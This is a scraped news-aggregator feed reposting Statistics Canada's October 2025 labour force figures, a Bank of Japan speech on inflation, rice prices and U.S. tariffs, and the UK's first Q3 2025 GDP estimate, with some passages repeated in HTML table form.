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<td width="601"><strong>Unemployment rate declines to 6.9%</strong></td>
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<td width="601">The unemployment rate fell 0.2 percentage points to 6.9% in October. Before this decline, the unemployment rate had reached 7.1% in August and September, the highest level since May 2016 (excluding 2020 and 2021 during the COVID-19 pandemic).</td>
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<td width="601">Nearly one in five (19.8%) unemployed people in September had found work in October. This proportion (referred to as the job finding rate) was up from 12 months earlier (16.5%) but was lower than the average for the same months from 2017 to 2019 (24.6%) (not seasonally adjusted).</td>
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<td width="601">The layoff rate in October (0.6%) was virtually unchanged compared with 12 months earlier (0.7%) (not seasonally adjusted). This represents the proportion of people who were employed in September but had become unemployed in October as a result of a layoff.</td>
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<td width="601">Long-term unemployment—the proportion of unemployed people who had been continuously searching for work for 27 weeks or more—stood at 21.3% in October, little changed from 21.2% in October 2024.</td>
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<td width="601"><strong>Youth unemployment rate falls for the first time since February.</strong></td>
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<td width="601">The unemployment rate for youth aged 15 to 24 fell by 0.6 percentage points to 14.1% in October, coinciding with an increase in employment for this group. This was the first decline in the youth unemployment rate since February. The youth unemployment rate had been on an upward trend from the beginning of 2023, reaching a 15-year high in September 2025 (excluding 2020 and 2021).</td>
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<td width="601">The unemployment rate for core-aged men fell by 0.2 percentage points to 6.0% in October, while it was little changed at 5.7% for core-aged women. For both groups, the unemployment rate was little changed on a year-over-year basis.</td>
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<td width="601">The unemployment rate also fell for people aged 55 and older in October (-0.2 percentage points to 5.3%), offsetting a similar-sized increase in September. The unemployment rate for this age group was little changed on a year-over-year basis.</td>
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<td width="601"><strong>Employment gains led by services-producing industries</strong></td>
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<td width="601">Employment increased in wholesale and retail trade in October (+41,000; +1.4%), more than offsetting a decline in September (-21,000; -0.7%). On a year-over-year basis, employment in the industry was up by 108,000 (+3.7%).</td>
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<td width="601">Employment also increased in transportation and warehousing (+30,000; +2.8%) and in information, culture and recreation (+25,000; +3.0%) in October. In both these industries, employment was little changed compared with 12 months earlier.</td>
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<td width="601">In construction, employment fell by 15,000 (-0.9%) in October, following little change in September. Employment in this industry was virtually unchanged from a year earlier but was down 38,000 (-2.3%) from a recent high in January 2025.</td>
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<td width="601">From January to October 2025, employment in goods-producing industries recorded a net decline of 54,000 (-1.3%), largely reflecting decreases in construction and manufacturing. In comparison, employment in services-producing industries increased by 142,000 (+0.8%) over that period.</td>
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<td width="601"><strong>Employment increases led by Ontario</strong></td>
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<td width="601">Overall employment growth in October was concentrated in Ontario (+55,000; +0.7%). The increase was the first for the province since June. The unemployment rate in Ontario fell 0.3 percentage points to 7.6% in October.</td>
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<td width="601">The employment increase in October in Ontario has offset declines recorded earlier in the year. These declines coincided with uncertainty related to trade and tariffs, which <a href="https://www150.statcan.gc.ca/n1/pub/75-006-x/2025003/article/00004-eng.htm">disproportionately impacted regions in Southern Ontario</a>. Notably, the unemployment rate in the census metropolitan area (<u>CMA</u>) of Windsor reached a high of 11.2% in June, before trending down to 9.6% in October (three-month moving averages).</td>
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<td width="601">Employment also increased in Newfoundland and Labrador (+4,400; +1.8%) in October, offsetting two consecutive monthly declines in August and September. The unemployment rate in the province was little changed at 10.1% in October.</td>
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<td width="601">On the other hand, fewer people worked in Nova Scotia (-4,400; -0.8%) and in Manitoba (-4,000; -0.5%) in October. In Nova Scotia, the unemployment rate rose by 0.5 percentage points to 6.7% while in Manitoba, it fell 0.4 percentage points to 5.8%, as fewer Manitobans searched for work.</td>
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<td width="601">In Quebec, employment was little changed for a fourth consecutive month in October. With fewer people searching for work, the unemployment rate in Quebec declined 0.4 percentage points to 5.3%.</td>
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<td width="601"><strong>In the spotlight: Over one in four Canadians lives in a household experiencing financial difficulties.</strong></td>
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<td width="601">In October 2025, 27.7% of Canadians aged 15 and older were living in a household that found it difficult to meet its financial needs in terms of transportation, housing, food, clothing and other necessary expenses. This proportion has been on a downward trend since the high recorded in October 2022 (35.5%).</td>
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<td width="601">In October 2025, people living in rented dwellings were more likely to experience household financial difficulties (37.0%) than those living in a dwelling owned by a household member (23.6%). The proportion experiencing difficulties was down among both renters (-2.2 percentage points) and owners (-0.7 percentage points) from a year earlier.</td>
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<td width="601">Youth aged 15 to 24 (31.0%) were about as likely as core-aged (25 to 54 years old) people (30.7%) to belong to a household that found it difficult or very difficult to meet its financial needs. On the other hand, the proportion was lower among people aged 55 and older (22.5%).</td>
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<td width="601">The proportion of core-aged Canadians living in a household experiencing difficulties meeting its financial needs differed notably depending on household composition. For example, the proportion among couples with children (32.4%) in October was higher than among couples without children (25.3%). Among core-aged single parents, the figure rose to 46.8%.</td>
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<td width="601">Unemployment can be associated with a greater risk of financial hardship. In October 2025, people aged 15 and older living in households with at least one unemployed person (46.1%) were more likely to report difficulties meeting their financial needs compared with persons living in households with no unemployed people (25.8%).</td>
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<td width="601">Among the 20 largest <u>CMAs</u>, the share of people living in households experiencing financial difficulties was higher in areas of Southern Ontario where the unemployment rate was above the national average. These areas included Oshawa (37.2%), Barrie (33.7%), Kitchener–Cambridge–Waterloo (33.5%) and Toronto (32.3%). On the other hand, the proportion was lowest in Québec (20.0%), Montréal (23.6%), Halifax (23.6%) and Victoria (23.8%), where the unemployment rate was lower than the national average.</td>
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<td width="601">For the full document, click the link below</td>
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<td width="601"><a href="https://www150.statcan.gc.ca/n1/daily-quotidien/251107/dq251107a-eng.htm?HPA=1&amp;indid=3587-2&amp;indgeo=0"><strong><em>Statistics Canada</em></strong></a></td>
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<td width="601"><em>Stay ahead of the curve! Subscribe to </em><a href="https://www.insidentity.com/subscriber-fee/"><strong><em>InsidEntity</em></strong></a><em> for daily updates on all your favourite companies. </em></td>
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			</div><!-- wpw-fp-follow-post-wrapper --><p>The post <a href="https://ie3.euptest.org/canada-labour-force-survey-october-2025/">Canada: Labour Force Survey, October 2025</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
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		<title>Japan: Economic Activity, Prices and Monetary Policy in Japan</title>
		<link>https://ie3.euptest.org/japan-economic-activity-prices-and-monetary-policy-in-japan/</link>
		
		<dc:creator><![CDATA[Monique Nell]]></dc:creator>
		<pubDate>Thu, 20 Nov 2025 09:49:54 +0000</pubDate>
				<category><![CDATA[Countries]]></category>
		<guid isPermaLink="false">https://www.insidentity.com/?p=146759</guid>

					<description><![CDATA[<p>Imagery Source: Pexels Information Source: Bank of Japan I. Current Situation and Outlook for Economic Activity and Prices. There is now just over a month left in the year. Looking back on this year, the kanji character for &#8220;rice&#8221; &#8212; also used in the Japanese word for &#8220;United States&#8221; &#8212; often caught my attention in news coverage. First of all, extremely high uncertainties emerged over U.S. trade policy this spring. If trade policy, among other factors, exerts downward pressure on overseas economies, Japan&#8217;s external demand will likewise be undermined. If the profits of exporting firms and their fixed investment decline, this could also exert downward pressure on the economy. Meanwhile, the price of rice, a staple food in Japan, began to surge in the second half of last year. Amid high inflation against the background of increases in the price of various food items, the attention given to rice prices may have had an impact on consumers&#8217; perceived inflation. Today, I would like to talk about the current situation and outlook for economic activity and prices, keeping in mind the impact of U.S. trade policy and rice prices, and the magnitude of the impact. Economic Developments Abroad Let me begin with developments in overseas economies. Please take a look at the left panel of Chart 1. Here, overseas economies are represented by the average real GDP growth rate of Japan&#8217;s trading partners, weighted by their share in Japan&#8217;s exports. Looking back over the past three decades, the GDP growth rate of overseas economies fell sharply due to the global financial crisis (GFC) and the COVID-19 pandemic, but on average, these economies have seen an annual growth rate in the range of 3.5-4.0 per cent. Regarding the outlook for overseas economies, no significant slowdown is expected, based on the projections released by the International Monetary Fund (IMF) in October 2025. Japan&#8217;s total goods exports account for approximately one-sixth of its GDP, with roughly half of these exports destined for Asia. Exports to the United States make up around 20 per cent of Japan&#8217;s total exports. Since the future course of the global economy may depend on developments in the U.S. economy, it is crucial to monitor these developments, alongside those in other regions, when considering developments in external demand for Japan&#8217;s economy. While U.S. domestic demand has been resilient recently, I believe that future developments in the economy may depend not only on the current trade policy but also on changes in investment cycles and the employment situation, among other factors. Economic Developments in Japan Next, I would like to turn to Japan&#8217;s economy. Please see the breakdown of the real GDP growth rate in the right panel of Chart 1. The economic growth rate in Japan has remained relatively low compared with that of overseas economies. Also, when major negative external shocks occurred, such as the GFC and the COVID-19 pandemic, domestic demand dropped sharply. Exports also dropped significantly at the time, and the economic growth rate fell into deeply negative territory. U.S. tariff policy launched this year may not have as significant an impact as previous major external shocks, but given the high degree of uncertainty, the need has arisen to ascertain the extent of the shock&#8217;s impact. Please take a look at the right panel of Chart 2, which illustrates real exports by type of goods. Exports have been somewhat weak recently in the steel and aluminium industries; these industries are classified under &#8220;motor vehicles and related goods&#8221; and &#8220;intermediate goods,&#8221; both of which are subject to sectoral tariffs introduced by the U.S. administration. On the other hand, exports of semiconductors, which are classified under &#8220;IT-related goods,&#8221; have been increasing, likely reflecting demand from the IT industry. Turning to the left panel of Chart 2, while exports to the United States have been weak recently, exports to the NIEs and ASEAN economies have been increasing, driven by semiconductor exports. All in all, I would not go so far as to say that exports have deviated downward from the trend. Business fixed investment has also been firm recently (left panel of Chart 3). According to business fixed investment plans in the Tankan (Short-Term Economic Survey of Enterprises in Japan), the rate of increase in planned investment has been relatively high, similar to the level of last year (right panel of Chart 3). Reports from the latest meeting of the general managers of the Bank of Japan&#8217;s branches also suggest that firms have solid demand for fixed investment to address labour shortages. Although uncertainties surrounding U.S. tariff policy remain, they have subsided recently. In the meantime, stock prices in Japan have reached record highs, backed by the global trend of an uptick in stock prices. I believe that these factors have also acted as a driver to stimulate investment. Corporate profits have been at elevated levels even for manufacturing, which faces concerns over the impact of tariffs (left panel of Chart 4). Business conditions have also been at a high level in terms of the diffusion index in the Tankan, against the backdrop of the continued high stock prices (right panel of Chart 4). However, some exporting firms affected by tariffs have not fully passed on the associated costs to U.S. selling prices; instead, they have absorbed part of the increased burden from tariffs by lowering yen-based export prices. As such, I consider it necessary to monitor how this will affect the profits of exporting firms, including their affiliated firms. Such monitoring is also crucial to assess future developments in wage hikes. In this profit environment, nominal wages have continued to rise steadily, supported in part by a rise in scheduled cash earnings, which exclude bonuses and overtime pay. That said, real disposable income &#8212; which takes into account the burden of social security contributions and taxes &#8212; has remained flat, in part because of higher prices (left panel of Chart 5). Scheduled cash earnings per full-time employee have increased by around 2-3 per cent year on year, supported<a href="https://ie3.euptest.org/japan-economic-activity-prices-and-monetary-policy-in-japan/" class="" rel="bookmark">Read More &#187;<span class="screen-reader-text">Japan: Economic Activity, Prices and Monetary Policy in Japan</span></a></p>
<p>The post <a href="https://ie3.euptest.org/japan-economic-activity-prices-and-monetary-policy-in-japan/">Japan: Economic Activity, Prices and Monetary Policy in Japan</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
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<td width="601">Imagery Source<em>: </em><a href="https://www.pexels.com/search/japan%20city/"><strong><em>Pexels</em></strong></a></td>
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<td width="601">Information Source: <a href="https://www.boj.or.jp/en/about/press/koen_2025/data/ko251120a1.pdf"><strong><em>Bank of Japan</em></strong></a></td>
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<td width="601">I. Current Situation and Outlook for Economic Activity and Prices. There is now just over a month left in the year. Looking back on this year, the kanji character for &#8220;rice&#8221; &#8212; also used in the Japanese word for &#8220;United States&#8221; &#8212; often caught my attention in news coverage. First of all, extremely high uncertainties emerged over U.S. trade policy this spring. If trade policy, among other factors, exerts downward pressure on overseas economies, Japan&#8217;s external demand will likewise be undermined. If the profits of exporting firms and their fixed investment decline, this could also exert downward pressure on the economy. Meanwhile, the price of rice, a staple food in Japan, began to surge in the second half of last year. Amid high inflation against the background of increases in the price of various food items, the attention given to rice prices may have had an impact on consumers&#8217; perceived inflation.</td>
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<td width="601">Today, I would like to talk about the current situation and outlook for economic activity and prices, keeping in mind the impact of U.S. trade policy and rice prices, and the magnitude of the impact.</td>
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<td width="601"><u>Economic Developments Abroad </u></td>
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<td width="601">Let me begin with developments in overseas economies. Please take a look at the left panel of Chart 1. Here, overseas economies are represented by the average real GDP growth rate of Japan&#8217;s trading partners, weighted by their share in Japan&#8217;s exports. Looking back over the past three decades, the GDP growth rate of overseas economies fell sharply due to the global financial crisis (GFC) and the COVID-19 pandemic, but on average, these economies have seen an annual growth rate in the range of 3.5-4.0 per cent. Regarding the outlook for overseas economies, no significant slowdown is expected, based on the projections released by the International Monetary Fund (IMF) in October 2025. Japan&#8217;s total goods exports account for approximately one-sixth of its GDP, with roughly half of these exports destined for Asia. Exports to the United States make up around 20 per cent of Japan&#8217;s total exports. Since the future course of the global economy may depend on developments in the U.S. economy, it is crucial to monitor these developments, alongside those in other regions, when considering developments in external demand for Japan&#8217;s economy. While U.S. domestic demand has been resilient recently, I believe that future developments in the economy may depend not only on the current trade policy but also on changes in investment cycles and the employment situation, among other factors.</td>
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<td width="601"><u>Economic Developments in Japan </u></td>
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<td width="601">Next, I would like to turn to Japan&#8217;s economy. Please see the breakdown of the real GDP growth rate in the right panel of Chart 1. The economic growth rate in Japan has remained relatively low compared with that of overseas economies. Also, when major negative external shocks occurred, such as the GFC and the COVID-19 pandemic, domestic demand dropped sharply. Exports also dropped significantly at the time, and the economic growth rate fell into deeply negative territory. U.S. tariff policy launched this year may not have as significant an impact as previous major external shocks, but given the high degree of uncertainty, the need has arisen to ascertain the extent of the shock&#8217;s impact.</td>
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<td width="601">Please take a look at the right panel of Chart 2, which illustrates real exports by type of goods. Exports have been somewhat weak recently in the steel and aluminium industries; these industries are classified under &#8220;motor vehicles and related goods&#8221; and &#8220;intermediate goods,&#8221; both of which are subject to sectoral tariffs introduced by the U.S. administration. On the other hand, exports of semiconductors, which are classified under &#8220;IT-related goods,&#8221; have been increasing, likely reflecting demand from the IT industry. Turning to the left panel of Chart 2, while exports to the United States have been weak recently, exports to the NIEs and ASEAN economies have been increasing, driven by semiconductor exports. All in all, I would not go so far as to say that exports have deviated downward from the trend.</td>
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<td width="601">Business fixed investment has also been firm recently (left panel of Chart 3). According to business fixed investment plans in the Tankan (Short-Term Economic Survey of Enterprises in Japan), the rate of increase in planned investment has been relatively high, similar to the level of last year (right panel of Chart 3). Reports from the latest meeting of the general managers of the Bank of Japan&#8217;s branches also suggest that firms have solid demand for fixed investment to address labour shortages. Although uncertainties surrounding U.S. tariff policy remain, they have subsided recently. In the meantime, stock prices in Japan have reached record highs, backed by the global trend of an uptick in stock prices. I believe that these factors have also acted as a driver to stimulate investment.</td>
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<td width="601">Corporate profits have been at elevated levels even for manufacturing, which faces concerns over the impact of tariffs (left panel of Chart 4). Business conditions have also been at a high level in terms of the diffusion index in the Tankan, against the backdrop of the continued high stock prices (right panel of Chart 4). However, some exporting firms affected by tariffs have not fully passed on the associated costs to U.S. selling prices; instead, they have absorbed part of the increased burden from tariffs by lowering yen-based export prices. As such, I consider it necessary to monitor how this will affect the profits of exporting firms, including their affiliated firms. Such monitoring is also crucial to assess future developments in wage hikes.</td>
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<td width="601">In this profit environment, nominal wages have continued to rise steadily, supported in part by a rise in scheduled cash earnings, which exclude bonuses and overtime pay. That said, real disposable income &#8212; which takes into account the burden of social security contributions and taxes &#8212; has remained flat, in part because of higher prices (left panel of Chart 5). Scheduled cash earnings per full-time employee have increased by around 2-3 per cent year on year, supported by base pay hikes, and hourly scheduled cash earnings per part-time employee have also increased steadily (right panel of Chart 5). As working-style reforms advance and working hours decline, I believe &#8220;hourly wages per employee&#8221; provides useful information, even when monitoring wages for full-time employees.</td>
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<td width="601">Regarding wage hikes, while annual wage revisions in the spring labour-management wage negotiations are important, there are also other wage developments that need to be monitored. For example, it would be useful to examine (1) the extent to which the minimum wage is raised, (2) how far winter bonuses reflect corporate profits, and (3) the degree to which switching jobs improves wages.</td>
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<td width="601">Turning to household spending, real consumption of nondurable goods, including food, has been weak, as indicated by the Consumption Activity Index (CAI, real), in light of higher prices, mainly of food, and other factors (left panel of Chart 6). Nonetheless, service consumption has been robust, and overall consumption seems to remain resilient, as indicated by the System of National Accounts (SNA), which is compiled using data on both the demand and supply sides (right panel of Chart 6).</td>
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<td width="601">Based on a comprehensive assessment of the aforementioned economic developments, my view is that Japan&#8217;s recent economic indicators have been solid overall. The Bank&#8217;s view in the October 2025 Outlook for Economic Activity and Prices (Outlook Report) is that the economy &#8220;has recovered moderately, although some weakness has been seen in part.&#8221; I will discuss the outlook for economic activity and the risk balance later.</td>
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<td width="601"><u>Price Developments in Japan </u></td>
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<td width="601">Next, I would like to discuss prices. While the consumer price index (CPI) relates closely to people&#8217;s daily lives, it reflects the price of final goods, or business-to-consumer (B2C) prices. Hence, before addressing the CPI, I would like to discuss business-to-business (B2B) prices &#8212; in other words, price pass-through between firms. To examine B2B prices, I think developments in import prices are a crucial factor. Please refer to the left panel of Chart 7. Since 2021, import prices have risen significantly, affected by higher crude oil prices and the yen&#8217;s depreciation, among other factors. However, import prices have recently declined slightly, on a year-on-year basis.</td>
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<td width="601">The right panel of Chart 7 suggests that the producer price index (PPI) is influenced by developments in import prices. The breakdown of the contribution indicates that the recent increase in the PPI is driven by the effects of surging food prices. This may reflect factors such as increases in personnel expenses and distribution costs, as well as developments in import prices, but it can also be assumed that food prices globally have been subject to greater volatility, affected by climate change and other factors. I believe that it is necessary to monitor closely whether food prices continue to trend upward.</td>
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<td width="601">Moving on to the CPI, food accounts for around one-fourth of the index. Please refer to Chart 8. The recent rise in the CPI has indeed been driven by the increase in food prices. In particular, the contribution of rice prices has increased over the past year. Here, &#8220;rice&#8221; refers to branded rice covered by the CPI, and its impact on other rice-related food, such as rice balls and sushi (box lunch), is reflected in &#8220;food (less rice).&#8221;</td>
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<td width="601">Please take a look at the left panel of Chart 9. The CPI for rice has surged since last year. It has doubled since then, pushing up the overall CPI by around 0.6 percentage points. The year-on-year rate of increase in rice prices has recently decelerated, but the price level has more than doubled compared with the first half of last year.</td>
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<td width="601">Turning to the right panel of Chart 9, the Corporate Goods Price Index (CGPI) by commodity suggests that the surge in rice prices since the second half of last year has been driven by brown rice. The price of polished rice has also been increasing in line with that of brown rice. While simple supply and demand curves alone may not fully explain the price formation mechanism of the rice market, generally speaking, if an item has relatively few substitutes and low price elasticity of demand, its price is more likely to be influenced by supply conditions.</td>
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<td width="601">The results of the Bank&#8217;s September 2025 Opinion Survey on the General Public&#8217;s Views and Behaviour showed that around 70 per cent of respondents feel that prices have gone up significantly compared with a year ago. The share of such respondents decreased slightly from the previous June survey, which may reflect, for example, the effects of the government&#8217;s release of stockpiled rice. That said, given that rice is a staple food in Japan, even if the year-on-year rate of price increase decelerates, if the price level itself remains high, this could elevate perceived inflation and, consequently, inflation expectations.1</td>
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<td width="601">An increase in the price of a wide range of items, not just rice, is also reflected in the uptrend in the diffusion index of price changes, in terms of the share of price-increasing items minus the share of price-decreasing items (left panel of Chart 10). It has been pointed out that in Japan, in contrast to the United States, the CPI for goods, rather than services, showed strong momentum immediately after the pandemic. Nonetheless, according to the final demand-intermediated demand (FD-ID) price indexes, service prices have been increasing at all stages of the production process, from upstream to downstream. Of these indexes, the year-on-year rate of increase in the price of services demanded at the final stage of economic activity has been stable at slightly over 2 per cent for about the past year (right panel of Chart 10). My visitors believe these head developments may be reflected in the CPI in a sustained manner.</td>
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<td width="601">Based on a comprehensive assessment of the aforementioned price developments, my view is that prices in Japan have, on the whole, been relatively strong recently. The Bank&#8217;s view in the October 2025 Outlook Report is that &#8220;with moves to pass on wage increases to selling prices continuing, the year-on-year rate of increase in the CPI (all items less fresh food) has been at around 3 per cent recently, due to the effects of the rise in food prices, such as rice prices, and other factors.&#8221; I will discuss the outlook and the risk balance for prices in the following.</td>
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<td width="601"><u>Outlook for Economic Activity and Prices </u></td>
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<td width="601">The Bank&#8217;s nine Policy Board members indicate their respective forecasts for Japan&#8217;s economic activity and prices at the Monetary Policy Meetings (MPMs) held in the month in which the Outlook Report is released. Chart 11 shows their forecasts for real GDP and the CPI for all items excluding fresh food (core CPI) for each fiscal year. In the latest October 2025 Outlook Report, Japan&#8217;s economic growth is projected to be modest temporarily and then to accelerate. As for prices, the effects of the rise in food prices, such as rice prices, are expected to wane through the first half of the next fiscal year.</td>
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<td width="601">Please take a look at the box in Chart 11. The Bank takes into account factors such as the following as risks to economic activity: developments in overseas economic activity and prices under the impact of trade and other policies in each jurisdiction; developments in import prices; and the impact of changes in the economic environment on medium- to long-term growth expectations and on Japan&#8217;s potential growth rate. As for risks to prices, the Bank considers the following: firms&#8217; wage- and price-setting behaviour, and developments in foreign exchange rates and import prices. The risk balances assessed by each Policy Board member are shown by the shapes of the markers. A comprehensive look at the members&#8217; latest forecasts as of October indicates that risks to economic activity are balanced for fiscal 2025 and skewed to the downside for fiscal 2026, and that risks to prices are balanced.</td>
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<td width="601">Let me elaborate on the risks related to the United States and to rice, both of which, in Japanese, as I mentioned, can be represented by the same character. I consider U.S. tariffs to pose a downside risk to economic activity, while also posing both upside and downside risks to prices. Weaker external demand is a downside risk to prices, whereas stronger supply-side constraints, for example, pose an upside risk to import prices. Regarding rice, if its price level significantly heightens consumers&#8217; perception of rising prices, this would create an upside risk to prices through a rise in inflation expectations, while potentially posing a downside risk to economic activity, given the impact on consumption. That said, the overall risk balances for economic activity and prices depend not only on those two factors but also on various others. Of particular importance is the financial conditions, which I will discuss in the next section, on the conduct of monetary policy</td>
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<td width="601">For the full document, click the link below</td>
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<td width="601"><a href="https://www.boj.or.jp/en/about/press/koen_2025/data/ko251120a1.pdf"><strong><em>Bank of Japan</em></strong></a></td>
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<td width="601"><em>Stay ahead of the curve! Subscribe to </em><a href="https://www.insidentity.com/subscriber-fee/"><strong><em>InsidEntity</em></strong></a><em> for daily updates on all your favourite companies. </em></td>
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			</div><!-- wpw-fp-follow-post-wrapper --><p>The post <a href="https://ie3.euptest.org/japan-economic-activity-prices-and-monetary-policy-in-japan/">Japan: Economic Activity, Prices and Monetary Policy in Japan</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
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		<title>United Kingdom: GDP First Quarterly Estimate, UK: July to September 2025</title>
		<link>https://ie3.euptest.org/united-kingdom-gdp-first-quarterly-estimate-uk-july-to-september-2025/</link>
		
		<dc:creator><![CDATA[Monique Nell]]></dc:creator>
		<pubDate>Thu, 20 Nov 2025 09:31:57 +0000</pubDate>
				<category><![CDATA[Countries]]></category>
		<guid isPermaLink="false">https://www.insidentity.com/?p=146740</guid>

					<description><![CDATA[<p>Imagery Source: Wikimedia Commons / Mdbeckwith Information Source: Office for National Statistics 1. Main points UK real gross domestic product (GDP) is estimated to have increased by 0.1% in Quarter 3 (July to Sept), compared with growth of 0.3% in Quarter 2 (Apr to June) 2025. GDP is estimated to have increased by 1.3% in Quarter 3 2025, compared with the same quarter a year ago. In output terms, growth in the latest quarter was driven by increases of 0.2% in services and 0.1% in construction; the production sector fell by 0.5%. Real GDP per head is estimated to have shown no growth in the latest quarter and is up 0.8%, compared with the same quarter a year ago. We have updated our estimates for Quarter 1 (Jan to Mar) 2024 to Quarter 2 2025 to be consistent with our UK trade release published on 16 October 2025; this update includes the full implementation of improvements to the measurement of precious metals. There are no changes to headline real GDP quarter-on-quarter growth across 2024 and 2025 as a result of this data update; however, there were some minor 0.1 percentage point revisions to the change in the GDP implied deflator and the change in GDP in current prices for some quarters. 2. Headline GDP figures UK real gross domestic product (GDP) is estimated to have increased by 0.1% in Quarter 3 (July to Sept), compared with growth of 0.3% in Quarter 2 (Apr to June) 2025 (Figure 1). GDP is estimated to be 1.3% higher in Quarter 3 2025, compared with the same quarter a year ago. Our GDP monthly estimates bulletin, published on 13 November, shows that GDP fell by 0.1% in September 2025, following no growth in August 2025 (revised down from a growth of 0.1% in our previous publication) and an unrevised fall of 0.1% in July 2025. Most notably, production output fell by 2.0% in September 2025 mainly because of a 28.6% decline in the manufacture of motor vehicles, trailers and semi-trailers, which detracted 0.17 percentage points from monthly GDP. The Society of Motor Manufacturers and Traders reported a large fall in vehicle output in September, &#8220;as a cyber incident paused production at a major manufacturer, while plant restructuring drove down commercial vehicle volumes&#8221;. The Cyber Monitoring Centre categorised this as &#8220;a Category 3 systemic event&#8220;. In this bulletin, we have opened the dataset outside of our usual National Accounts Revision Policy to fully update the improvements to precious metals estimates in trade in goods for 2024 and 2025. This means we are now consistent with the data published on 16 October 2025 in the monthly trade. No other components of GDP were affected, but more information on the impacts of this is described later in this section. Early estimates of GDP are subject to revision (positive or negative). Our recently published analysis shows that the mean absolute revision between the first quarterly GDP estimate and the same quarterly estimate three years later is, on average, plus or minus 0.28 percentage points. Revisions are made when more detailed information becomes available through the comprehensive annual supply and use balancing process, as the data content increases. For more information, please refer to our GDP revisions in the Blue Book: 2025 article. The GDP growth vintages from 2024 onwards are shown in Table 5. We give more information on uncertainty in Section 11: Data sources and quality. Trade improvements As previously announced in our monthly UK trade bulletin, as part of our Blue Book and Pink Book 2025: trade impact estimates article, we implemented improvements to the way we record trade in precious metals. We removed the double counting of some precious metals bars and included previously under-recorded non-monetary gold that is not in bar form. These trade improvements were implemented as part of our GDP quarterly national accounts bulletin, published on 30 September, for all countries from 1997 to 2023. However, because of a processing error for trade data, these improvements were not fully applied to a small number of countries for 2024 and 2025 at the time. Corrected estimates were subsequently published in our UK Trade: August 2025 bulletin on 16 October 2025. In this GDP bulletin, we opened the dataset outside of our usual National Accounts Revisions Policy to update data for all countries for 2024 and 2025. We have done this to provide consistency with the trade data published on 16 October 2025. The UK trade estimates for our October bulletin incorporated the corrected values for the periods Quarter 1 (Jan to Mar) 2024 to Quarter 2 2025. However, the associated running of the latest seasonal adjustment also incorporated July and August 2025 (the period being reported); this further shaped the current price and the Chained Volume measures seasonally adjusted series slightly, during 2024 and early 2025, as detailed in the next paragraph. The impact was a little larger for chained volume measures. Further detail is provided in our UK Trade: September 2025 bulletin. As part of our national accounts balancing process, we use alignment adjustments to reconcile the differences between the income, expenditure, and output measures of GDP every quarter. These are used to account for discrepancies that can arise from timing differences &#8211; for example, when goods are produced in one quarter but are consumed in the next. We processed the trade in goods data in isolation and, as such, the main impacts of these changes are offset in the alignment adjustment, so there is minimal impact to GDP. Table 2 shows that there are no changes to headline real GDP quarter-on-quarter growth as a result of this update. However, as the size of the revision in trade in goods differed slightly in current price and chained volume measure estimates, we do see minor 0.1 percentage point revisions to the GDP implied deflator and GDP in current prices. No other components of GDP were affected by this change, including the valuables component. 3. Output Output is estimated to have grown by<a href="https://ie3.euptest.org/united-kingdom-gdp-first-quarterly-estimate-uk-july-to-september-2025/" class="" rel="bookmark">Read More &#187;<span class="screen-reader-text">United Kingdom: GDP First Quarterly Estimate, UK: July to September 2025</span></a></p>
<p>The post <a href="https://ie3.euptest.org/united-kingdom-gdp-first-quarterly-estimate-uk-july-to-september-2025/">United Kingdom: GDP First Quarterly Estimate, UK: July to September 2025</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
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<td width="601">Imagery Source<em>: </em><a href="https://commons.wikimedia.org/wiki/File:UK_Parliament_HDR.jpg"><strong><em>Wikimedia Commons / Mdbeckwith</em></strong></a></td>
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<td width="601">Information Source: <a href="https://www.ons.gov.uk/economy/grossdomesticproductgdp/bulletins/gdpfirstquarterlyestimateuk/julytoseptember2025"><strong><em>Office for National Statistics</em></strong></a></td>
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<td width="601"><u>1. Main points</u></td>
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<td width="601">
<ul>
<li>UK real gross domestic product (GDP) is estimated to have increased by 0.1% in Quarter 3 (July to Sept), compared with growth of 0.3% in Quarter 2 (Apr to June) 2025.</li>
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<td width="601">
<ul>
<li>GDP is estimated to have increased by 1.3% in Quarter 3 2025, compared with the same quarter a year ago.</li>
</ul>
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<td width="601">
<ul>
<li>In output terms, growth in the latest quarter was driven by increases of 0.2% in services and 0.1% in construction; the production sector fell by 0.5%.</li>
</ul>
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<td width="601">
<ul>
<li>Real GDP per head is estimated to have shown no growth in the latest quarter and is up 0.8%, compared with the same quarter a year ago.</li>
</ul>
</td>
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<td width="601">
<ul>
<li>We have updated our estimates for Quarter 1 (Jan to Mar) 2024 to Quarter 2 2025 to be consistent with our UK trade release published on 16 October 2025; this update includes the full implementation of improvements to the measurement of precious metals.</li>
</ul>
</td>
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<td width="601">
<ul>
<li>There are no changes to headline real GDP quarter-on-quarter growth across 2024 and 2025 as a result of this data update; however, there were some minor 0.1 percentage point revisions to the change in the GDP implied deflator and the change in GDP in current prices for some quarters.</li>
</ul>
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<td width="601"><u>2. Headline GDP figures</u></td>
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<td width="601">UK real gross domestic product (GDP) is estimated to have increased by 0.1% in Quarter 3 (July to Sept), compared with growth of 0.3% in Quarter 2 (Apr to June) 2025 (Figure 1). GDP is estimated to be 1.3% higher in Quarter 3 2025, compared with the same quarter a year ago.</td>
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<td width="601">Our <a href="https://www.ons.gov.uk/releases/gdpmonthlyestimateukseptember2025">GDP monthly estimates bulletin</a>, published on 13 November, shows that GDP fell by 0.1% in September 2025, following no growth in August 2025 (revised down from a growth of 0.1% in our previous publication) and an unrevised fall of 0.1% in July 2025.</td>
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<td width="601">Most notably, production output fell by 2.0% in September 2025 mainly because of a 28.6% decline in the manufacture of motor vehicles, trailers and semi-trailers, which detracted 0.17 percentage points from monthly GDP. The Society of Motor Manufacturers and Traders reported a large fall in vehicle output in September, &#8220;as <a href="https://www.smmt.co.uk/cyber-attack-hits-vehicle-output-with-new-risk-arising-from-tax-charge-on-auto-workers/">a cyber incident paused production at a major manufacturer</a>, while plant restructuring drove down commercial vehicle volumes&#8221;. The Cyber Monitoring Centre categorised this as &#8220;<a href="https://cybermonitoringcentre.com/2025/10/22/cyber-monitoring-centre-statement-on-the-jaguar-land-rovercyber-incident-october-2025/">a Category 3 systemic event</a>&#8220;.</td>
